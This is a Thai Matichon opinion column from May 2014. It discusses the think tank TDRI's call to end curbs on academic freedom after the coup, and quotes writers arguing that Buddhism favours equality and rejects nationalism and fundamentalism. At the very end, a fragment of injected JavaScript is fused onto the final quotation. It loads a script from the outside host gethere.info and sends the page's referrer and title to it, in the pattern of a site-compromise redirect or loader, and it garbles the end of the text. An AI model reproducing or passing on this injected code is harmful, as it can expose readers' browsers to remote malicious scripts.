มติชนรายวัน ฉบับประจำวันศุกร์ที่ 30 พฤษภาคม 2557

 

คืนพื้นที่นักวิชาการ

          ที่ประชุมผู้บริหารของ ทีดีอาร์ไอ (สถาบันวิจัยเพื่อการพัฒนาประเทศไทย) แสดงความเป็นห่วงอย่างยิ่งต่อการจำกัดเสรีภาพทางวิชาการในช่วงหลังรัฐประหาร

          ผู้มีอำนาจควรเปิดใจกว้างยอมรับฟังความคิดเห็นแตกต่าง โดยเฉพาะอย่างยิ่งในสภาพที่ไม่มีกลไกตรวจสอบและถ่วงดุลอื่นต่อการใช้อำนาจรัฐ เพื่อให้นักวิชาการและประชาชนทั่วไปมีเสรีภาพในการวิพากษ์วิจารณ์การทำงาน

          “หากเป็นห่วงว่าจะมีนักวิชาการรายใดแสดงความคิดเห็นที่เกินกว่าขอบเขตที่เหมาะสม ก็ควรใช้กฎหมายที่มีอยู่ในการดำเนินคดีตามกระบวนการยุติธรรมตามปกติ” นายสมเกียรติ ตั้งกิจวานิชย์ ประธาน ทีดีอาร์ไอ เรียกร้องให้คณะรักษาความสงบแห่งชาติ (คสช.) ควรยุติการจำกัดเสรีภาพทางวิชาการ (มติชน ฉบับวันอังคารที่ 27 พฤษภาคม 2557 หน้า 13)

          ส่วนปฏิรูปประเทศไทย เป็นการแก้ปัญหาเชิงโครงสร้าง ก่อให้เกิดผลกระทบต่อคนในวงกว้าง จึงควรเกิดขึ้นภายใต้บรรยากาศการถกเถียงแลกเปลี่ยนที่ทุกฝ่ายมีส่วนร่วมแสดงออกได้อย่างเท่าเทียมและเสรี ไม่ควรปฏิรูปโดยกีดกันผู้ที่เห็นต่างออกไป

 

ชาวพุทธ เน้นความเท่าเทียม

          พุทธศาสนากับการเมืองและเศรษฐกิจ เกี่ยวข้องกันอย่างเป็นเนื้อเดียวตั้งแต่ยุคพระเจ้าอโศก ในอินเดีย กระทั่งกระจายถึงลังกา และอุษาคเนย์

          แต่ทางการไทยไม่อยากให้เป็นอย่างนั้น เลยไม่พูดถึงการเมืองและเศรษฐกิจ

          ที่ตื่นเต้นกว่านั้น ผมอ่านพบในคอลัมน์ของ วิจักขณ์ พานิช (ธรรมนัว ในมติชน ฉบับวันที่ 25 พฤษภาคม 2557 หน้า 6) จะขอคัดมาแบ่งปันซ้ำอีกให้ช่วยกันพิจารณา ดังนี้

          วิจักขณ์เล่าเรื่องเพื่อนสังฆะชาวอเมริกันอธิบายว่า “ความเป็นพุทธสอดคล้องอยู่กับการคำนึงถึงประโยชน์ของผู้อื่น การให้ความสำคัญกับประเด็นเรื่องสิทธิ สิ่งแวดล้อม ธรรมชาติ การเคารพในความเป็นมนุษย์ ความเท่าเทียมกัน

          ค่อนข้างจะเป็นเสรีนิยม (Liberal) มนุษยนิยม (Humanistic) และซ้าย (Leftist) มากกว่าที่จะเป็นอนุรักษนิยม (Conservative) ชาตินิยม (Nationalist) หรือฟันดาเม็นทัลลิสต์ (Fundamentalist)”

          แล้วอธิบายเพิ่มเติมว่า “ลัทธิยึดมั่นศรัทธาสุดขั้ว (Fundamentalism) อันสะท้อนภาวะสุดโต่งทางอุดมการณ์และความเชื่อ มักพบได้ในศาสนาแห่งรัฐที่มุ่งเน้นไปที่ศรัทธา”

          วิจักขณ์ เล่าถึง ดร. หม่อง ซานี นักกิจกรรมด้านสิทธิมนุษยชนชาวพม่า ให้ความเห็นว่า ‘พุทธศาสนาไม่มีพื้นที่ให้กับการยึดมั่นในศรัทธาอย่างสุดโต่ง’

          “ชาวพุทธไม่สามารถกลายเป็นพวกคลั่งชาติได้ เพราะหากปฏิบัติตามหลักธรรมคำสอน จะไม่มีสิ่งที่เรียกว่า ประเทศ ‘ของฉัน’ ชาติ ‘ของฉัน’ วัฒนธรรม ‘ของฉัน’ หรือแม้แต่ ศรัทธา ‘ของฉัน’

          ดร. ซานียังให้ความเห็นต่อความพยายามในการผลักดันกฎหมายห้ามลบหลู่ดูหมิ่นพุทธศาสนาในประเทศไทย ว่าเป็นการบิดเบือนหลักธรรมคำสอนในพุทธศาสนา เพราะจริงๆ แล้วพุทธศาสนาไม่เคยอนุญาตให้มีองค์กรที่มีอำนาจในการควบคุมพฤติกรรมหรือความคิดของผู้คน

          การปฏิบัติตามคำสอนขึ้นอยู่กับความสมัครใจและเสรีภาพในการเรียนรู้ ไม่ใช่อำนาจการบังคับหรือชี้นำ”s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;